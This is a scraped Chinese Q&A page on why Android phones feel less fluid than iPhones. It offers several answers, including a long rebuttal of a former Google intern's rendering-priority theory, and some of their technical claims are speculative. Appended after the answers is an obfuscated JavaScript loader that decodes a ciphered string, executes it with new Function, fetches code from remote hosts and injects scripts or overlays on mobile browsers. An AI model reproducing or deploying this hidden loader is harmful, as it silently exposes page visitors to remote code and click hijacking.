有谁知道为什么即使安卓机的配置再高,可还是不如苹果的流畅,用得顺呢??

2025-03-02 13:08:47
推荐回答(4个)
回答(1):

浅析:为什么Android没有iOS
那么顺滑
本帖隐藏的内容
(以下为网上流传的原文翻译,未必
完全准确)
虽然很多Android手机的配置都比
iPhone要高,比如大多数Andorid手机
的内存都有1GB,而iPhone 4S只有
512MB内存,但用过iPhone的人都知
道Android手机在使用的时候总感觉没
有那么顺滑,究竟为什么会出现这种
现象呢?一位软件工程师和前Google
实习生Andrew Munn解释说是因为
Android系统UI效率低下的框架设计的
问题。
  不过,这个实习生Andrew Munn
是一个软件工程专业的本科毕业生,
他在Android团队并没有在框架团队工
作,也没有看过Android渲染的源代
码,因此他所说的未必是100%准确。
并且他也曾经在Windows Phone团队
工作过,因此可能会不自觉的对
Android产生偏见。以下就是他对
Android为什么没有iOS流畅体验的看
法。
  Android没有iOS流畅的原因并非
Java GC导致暂停,也不是因为
Android运行的是Java编译的bytecode
而iOS运行的native code,根本的原因
是,iOS的UI渲染采用实时优先级,而
Android的UI渲染遵循传统电脑模式的
主线程普通优先级。
  这听起来似乎很抽象和难以理
解,但大家可以尝试一下,使用你的
iPad或者iPhone,打开Safari,然后加
载一个复杂的网页,例如新浪网首
页,当网页加载到一半的时候,把你
的手指放在屏幕上,并且四处移动,
你会发现所有的渲染立刻停止,在你
拿开手指前,网页永远也不会继续加
载。
  而在Android设备上重复这个操
作,你会发现,浏览器会继续尝试加
载页面并渲染HTML,试图多任务同时
进行,因此对于Android来说,一个高
效的双核处理器是很重要的,这也就
是Galaxy S II能够非常平滑的原因
  在iOS中UI渲染过程具有绝对的优
先等级,当用户接触到iPhone的触摸
屏后,iOS中所有的进程都将停止,UI
线程拦截了所有的事件,系统会将所
有资源用于渲染UI过程,以保证用户
界面的实时渲染优先级。而在Android
系统中UI渲染过程的优先级别却没有
那么高,也就是说当你触摸Android手
机屏幕的时候,系统后台的程序并没
有停止,仍然在继续运行之中,比如
下载和查收短信,这样系统UI获得的
资源就不够,这就是Android系统不流
畅的原因。
  由于这个原因,新发布的Galaxy
Nexus,甚至配备四核处理器的话说
EeePad Transformer Prime平板电脑
都无法保证顺滑的操作体验,这些设
备只能与3年前的iPhone顺滑程度相
比,那么Android团队为什么不从根本
解决这个问题呢?
  除了UI渲染之外,Android缺乏有
效的硬件加速也是一个原因,在不同
的Android手机上的硬件加速存在巨大
差异,而苹果是唯一一个既做硬件又
做软件的手持设备公司,只有苹果可
以在硬件中插入对软件的优化,使得
基于苹果芯片的设备不仅省电,而且
流畅。
  实际上,Android的开发工作在第
一代iPhone发布之前就已经开始了,
原始Android原型体被设计成为使用键
盘手机的设备,也就是黑莓手机的竞
争对手。UI渲染优先级别在有键盘的
手机上并没有那么重要。但是在
iPhone发布之后,Android小组为了快
速推出能与iPhone竞争的产品,迅速
将Android改成触摸屏手机系统,但那
时重写UI框架已经不可能了。因为如
果这样Android应用市场中的所有程序
将变得不可用,这种关系将一直处于
恶性循环之中。
-------------------------------
-------------------------------
-------------------------------
-------------------------------
(这个实习生的伪科学真是编的好,
在此反驳)
按照那个实习生的说法,android
的ui不流畅是因为响应UI处理的优先
级不够,而google不改进的原因是因
为怕影响到已经发布的应用程序?
这人根本不懂ios和android的进程
控制机制,且不说ios中ui有最高优先
级(笑啊,ios什么时候UI有最高级
了,明明是系统中断才是最高),竟
然说出了android触摸UI时后台进程保
持运行这样的荒谬的事情,我都怀疑
他是不是在google呆过。 即便他说的
UI优先级有理,也不可能出现改变优
先级就会使得程序进入恶性循环这种
情况。了解android系统架构应该知道
负责图形处理(关于优先级部分)的
是位于android系统的倒数第二层,也
就是内核的上一级,而且android的设
计是层与层之前低耦合的,每层对于
下一层的依赖仅通过接口来调用,而
层内的变化根本不会影响到层外行
为。
说简单一点,就如同你去银行柜台
办事,你办外汇就去外汇窗口,债券
就去债券窗口,而银行内部怎么处理
你的请求是他们的事,你只需要提交
你的数据并接收结果即可,银行内部
员工变动也不会影响你的事务办理。
如果真如这个实习生所说,是UI框架
处理优先级的问题,google大可以轻
轻松松直接提高优先级,绝不会影响
到现有任何程序,因为目前没有任何
程序能绕过android的程序框架直接调
用到UI下层的方法,因此下层的改进
也不会对上层造成兼容性的不适。而
且也不增加什么生产成本。
但为什么还是感觉android比ios
卡?我觉得这是人云亦云后的“被变
卡”感觉(很多人在概念空白时先入
为主的被教唆到android比ios卡,不
如ios,而且听多了这样的话后自然自
己的感觉就不准了),以至于出现了
N种关于android为什么不如ios的“科
学、内幕”解释。我觉得除了辩证还
要用发展的眼光来分析这个问题。
在早期,android的优化的确不如
ios,这源自于产品的设计理念和年代
(android本身是07年才被收购的一
个公司,之前这个系统根本没有得到
实际的验证,而ios始终是在apple下从
mac时代起就被打造的)。而硬件也
远没有iphone强,加上开放免费,什
么鱼龙混杂的制造商都加入进来,元
器件供应商也是水很深,造成产品水
平参差不齐。很多人对android和ios
的差距的认识也是从那时才建立的,
而看iphone,一年才出一款机器,无
论软件还是硬件,从选择供应商到制
作,有足够的周期,都是精挑细琢。
也就是说,android阵营从低端到高端
都有,且低端又多又乱所谓的高端少
而不精,而iphone就一个高端,这就
如田忌赛马,老拿人家优秀的比垃圾
的,自然而然口碑也就落成了android
不如ios的一个大范围印象。其实这个
时代跟ios产品比较,也的确是
android的东西不如iphone做得好。
但是近年来android的机器硬件基
本上已经超过了iphone但为什么还是
觉得比ios卡?除了上述的心理因素遗
留之外,我个人觉得其实这无关
android本身,并不是os优化这么简单
的事。而是硬件问题,其实没有人特
别在意这个问题,但是我想说这就如
同显示器的响应时间,响应时间快,
在播放时就会流畅没有拖影。
电容屏也有响应时间,而且对工作
环境电压要求很高,普通的电容板本
身响应就比较慢,大概才50~100ms,
而且在电压不稳定时反应更慢,而
iphone4的电容板响应时间在
10~20ms,差距近80ms说是不到十分
之一秒,但是在实际体验时这就能影
响到人们的直觉。另一个因素在于触
屏的玻璃材质,硬度越高越顺滑,这
是根据阻尼系数和摩擦系数可以测出
的。同是镜面的情况下,硬度越高的
材质在摸上去的时候更顺滑。iphone
用的是大猩猩,硬度达到7,裸身时
本身触感就顺滑,没有拖沓感,再加
上大多数买iphone的人贴膜都会比较
下本钱(我贴膜花了129),贴膜也
会影响到触感。在普观android手机,
用上大猩猩的寥寥无几,再肯贴好膜
的更是少。在手感上也比iphone要差
了。
就我个人长久使用亲身体会是,
android的UI其实缺少过度动画,比如
在界面切换时的细节(仔细看,ios的
界面切换时除了窗口会移动,标题栏
和上面的控件都会以不同的速率在移
动,感觉很动感精致,如同流水
般),这样在操作时造成了突兀感。
实际上从触摸角度来讲,我觉得兔子
没有明显的差异。而且明显的感觉
是,如果iphone有后台程序,或者运
行过较多程序之后,哪怕是普通的界
面切换也会有卡顿感觉,很明显的。
最后一点重要的补充就是iOS是伪
多线程开发,Android更注重编程模
型,iOS更注重用户体验。Android将
应用内(进程内)渲染(controls)和
进程间渲染(surface flinger)放在了
不同的模块、空间,导致动画时线程
切换过于频繁,需要更高的性能的芯
片才能达到和iOS相同的效果;要配合
渲染也变得很复杂,所以在横竖屏切
换时没有像iOS那样的转屏动画。
PS:从官方版本4.1开始 安卓已经逐
步走向成熟
配合硬件的支持 相信届时的5.0系
统将会是其发展史上的一个巅峰!

回答(2):

因为苹果只做一部手机所以他可以把优化做的很好 但安卓手机 过于庞杂 手机有好有坏 所以谷歌不可能把优化做成苹果那样 谷歌一个系统 有很多手机在用 自然又不稳定因素 还有两系统的内存管理方式不同 这也导致安卓很费电

回答(3):

因为系统不一样,苹果是封闭的系统。虽然都是智能机但苹果运行程序是实质只运行了一个程序,而安卓在运行当前程序的同时后台还有几个程序同时运行。这样苹果感觉就要快些。

回答(4):

系统~软件这层没任何优化就算实行优化了 安卓机型杂多 你跟本优化不过来 苹果封闭式不用解释了吧

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();